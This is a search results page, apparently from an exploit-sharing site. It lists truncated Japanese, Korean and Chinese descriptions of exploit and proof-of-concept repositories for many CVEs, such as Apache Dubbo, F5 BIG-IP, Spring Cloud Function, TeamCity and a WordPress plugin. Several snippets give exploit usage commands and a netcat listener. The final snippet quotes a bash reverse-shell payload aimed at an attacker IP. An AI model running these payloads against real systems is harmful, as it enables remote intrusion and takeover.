517131 matches found
CVE-2019-17564
CVE-2019-17564 CVE-2019-17564 Apache Dubbo デシリアライゼーション RCE 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4...
RCE-CVE-2020-5902
RCE-CVE-2020-5902 BIG-IP F5 リモートコード実行 説明 これらの攻撃は、F5 Networks が製造する多目的ネットワークデバイスである BIG-IP を標的としています。BIG-IP デバイスは、トラフィックシェーピングシステム、ロードバランサー、ファイアウォール、アクセスゲートウェイ、レートリミッター、または SSL ミドルウェアとして機能するように設定できます。 水曜日、F5 Networks はパッチを公開し、BIG-IP デバイスにおける「リモートコード実行」の脆弱性に関するセキュリティアドバイザリをリリースしました。 F5...
Nuclei-Template-CVE-2024-50379
Nuclei-Template-CVE-2024-50379 説明 このNucleiテンプレートは、リモートコード実行（RCE）を可能にするTOCTOUレースコンディションに対して脆弱なApache Tomcatサーバーを検出します。 ⚠ 重要なお知らせ : このテンプレートは、教育目的およびシステム所有者の明示的な同意を得た管理された環境でのみ使用する必要があります。 さらに、このテンプレートはテスト段階にあるため、脆弱なApacheのすべてのバージョンで100%テストしたわけではありません。 必要条件 Nucleiがインストールされていること（Linux、Mac、Windows）。...
CVE-2022-32119
CVE-2022-32119 - Arox-Unrestricted-File-Upload PHPコードの任意実行を引き起こす、複数の無制限ファイルアップロードがあります。 認証が必要な脆弱性のあるページ: localhost/officeadmin/?pid=54&action=add root@kitploit: -----------------------------181967832439954202373233921976 Content-Disposition: form-data; name="apid" 2...
CVE-2022-22963_Reverse-Shell-Exploit
CVE-2022-22963 리버스 셸 익스플로잇 이 Python 스크립트는 Spring Cloud Function의 원격 코드 실행 취약점인 CVE-2022-22963을 악용하여 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다. 이 익스플로잇은 취약한 /functionRouter 엔드포인트를 사용하여 대상 서버에서 명령을 실행합니다. 사용법 이 익스플로잇을 사용하려면 -u 옵션으로 취약한 서버의 URL을 지정하여 스크립트를 실행하기만 하면 됩니다. 스크립트는 서버가 취약한지 확인하고 사용자에게 리버스 셸을 시도할지...
CVE-2017-7525-Jackson-Deserialization-Lab
CVE-2017-7525 Java 安全でないデシリアライゼーションラボ 安全でないデシリアライゼーションに対して脆弱な基本的なJava RESTアプリケーションで、RCEにつながります。 プロジェクトはJava 8u45 で実行する必要があります。 以下の依存関係を持つMavenベース： jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 さらにガジェットを試したい場合は、Mavenを通じて依存関係を追加できます。 実行方法 （Intellij...
CVE-2025-4322-Exploit
CVE-2025-4322 - 확인되지 않은 비밀번호 변경 CWE-620 익스플로잇: 여기에서 다운로드 세부 정보 CVE ID : CVE-2025-4322 게시일 : 05/20/2025 영향 : Critical CVSS : 9.8 패치 가능 여부 : 아직 공식 패치 없음 영향 치명적인 심각도의 취약점으로, 공격자가 잠재적으로 다음을 수행할 수 있습니다: - 브라우저의 샌드박스 보호 우회 - 임의 코드 실행 - 시스템 무결성 손상 - 시스템 리소스에 대한 무단 액세스 권한 획득 이 취약점은 특히 Windows의 Firefox를...
s2-048
s2-048 s2-048, CVE-2017-9791에 대한 익스플로잇입니다. root@kitploit: / \ \ / / | | \ / / | | / \ / / | | | \ \ / /| | | | | | | / /| | / / | | | | \ V / | ||/ /| || | | / /, |/ / , | | | / || ||/||// //// //|| poc: root@kitploit:...
CVE-2026-34197
CVE-2026-34197 — Apache ActiveMQ Classic の Jolokia API を介した RCE TL;DR Apache ActiveMQ Classic におけるリモートコード実行 の脆弱性です。攻撃者は Jolokia API（/api/jolokia/）を通じて addNetworkConnectorString MBean オペレーションを呼び出すことで、任意のコードを実行できます。攻撃者はリモートの Spring XML ファイルを指す悪意のある brokerConfig パラメータを埋め込み、ActiveMQ がそれを取得・解析して任意の Ja...
CVE-2023-24249-Exploit
CVE-2023-24249 익스플로잇 스크립트 설명 이 리포지토리는 laravel-admin 버전 1.8.19에서 발견된 심각한 취약점인 CVE-2023-24249에 대한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 임의의 파일 업로드를 허용하여 공격자가 조작된 PHP 파일을 통해 임의의 코드를 실행할 수 있게 합니다. 이 익스플로잇은 공격자가 대상 애플리케이션에 리버스 셸을 업로드하고 실행하여 원격 접근을 얻는 방법을 보여줍니다. 취약점 세부 정보 CVE-2023-24249 는 laravel-admin v1.8.19...
CVE-2026-34038
CVE-2026-34038: Coolify에서의 인증된 원격 명령어 삽입 이 저장소는 CVE-2026-34038 에 대한 문서와 분석을 포함합니다. 이는 Coolify의 심각한 명령어 삽입 취약점입니다. 요약 Coolify에서 인증된 원격 명령어 삽입 취약점CWE-78으로 인해 애플리케이션 "쓰기" 권한을 가진 사용자가 원격 코드 실행RCE을 달성하고, 배포 로그를 통해 민감한 환경 변수예: 데이터베이스 자격 증명, API 키를 탈취 할 수 있습니다. 빌드 환경이 Docker 소켓을 격리하더라도 가능합니다. 취약점 유형:...
CVE-2019-5544_CVE-2020-3992
SLP 服务扫描器（CVE-2019-5544 CVE-2020-3992） 实现 SRVLOC/SLP 协议以扫描已启用 OpenSLP 服务的 Python 脚本。 在搜索受 CVE-2019-5544、CVE-2020-3992 或 CVE-2021-21974 影响的系统时，你可能会发现它很方便…… 关于 VMware...
React2Shell-Exploit-CVE-2025-55182
💀 React2Shell Exploit — CVE-2025-55182 root@kitploit: ██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔══██╗██╔══╝...
CVE-2025-48384
CVE-2025-48384 PoC 주의사항 본 리포지토리는 보안 교육용으로 작성되었습니다. 악용은 삼가해주세요. 본 취약점은 디렉터리 이름에 \r을 포함해야 하므로, Linux/Unix 계열이 영향을 받습니다. 아래는 영향을 받는 Git 버전입니다. v2.43.x 계열 - v2.43.7 미만 v2.44.x 계열 - v2.44.4 미만 v2.45.x 계열 - v2.45.4 미만 v2.46.x 계열 - v2.46.4 미만 v2.47.x 계열 - v2.47.3 미만 v2.48.x 계열 - v2.48.2 미만 v2.49.x 계열 -...
CVE-2016-2555
CVE-2016-2555 익스플로잇 이 익스플로잇은 ATutor 2.2.1 의 SQL 인젝션 취약점 과 인증 약점 취약점 을 대상으로 합니다. 이러한 취약점을 악용하면 공격자는 악성 코드를 업로드하여 취약한 서버에서 원격 코드 실행RCE을 달성할 수 있습니다. 사용법 root@kitploit: $ python3 CVE-2016-2555.py target:port 예시: root@kitploit: $ python3 CVE-2016-2555.py 127.0.0.1:8080 기능 ATutor 2.2.1의 SQL 인젝션 취약점을...
CVE-2023-422-Chamilo-LMS-RCE
사전 요구 사항 root@kitploit: pip install requests 정보 이 Python 스크립트는 취약점 CVE-2023-422을 이용하여 서버에 파일을 업로드하고, 그 파일을 사용하여 netcat 리스너로 리버스 셸을 보냅니다. 이 모든 과정은 인증 없이 수행할 수 있습니다. 그러나 Python 스크립트를 성공적으로 사용하려면 다음 단계를 따라야 합니다. netcat 리스너 시작: root@kitploit: nc -lnvp 4444 Python 스크립트 실행 예시: root@kitploit: python3...
CVE-2023-42793
CVE-2023-42793 정보 먼저 다른 익스플로잇을 사용하여 토큰을 획득해야 합니다. 그러나 다음 익스플로잇은 페이로드를 URL에 인코딩하여 서버로 전송함으로써 Linux 서버에서 RCE를 획득할 수 있게 해줍니다. 사용 방법 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...
CVE-2023-27163-AND-Mailtrail-v0.53
자동 익스플로잇 요약 다음 익스플로잇은 Requests Baskets v1.2.1 SSRF 취약점을 악용하여 127.0.0.1:80에서 실행 중인 내부 애플리케이션을 /pwned의 외부 애플리케이션으로 전달합니다. Mailtrail v0.53 애플리케이션이 전달되면, 이에 대해 리버스 셸 명령을 실행하며 몇 초 내에 사용자는 머신에 대한 리버스 셸을 획득해야 합니다. 명령어 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...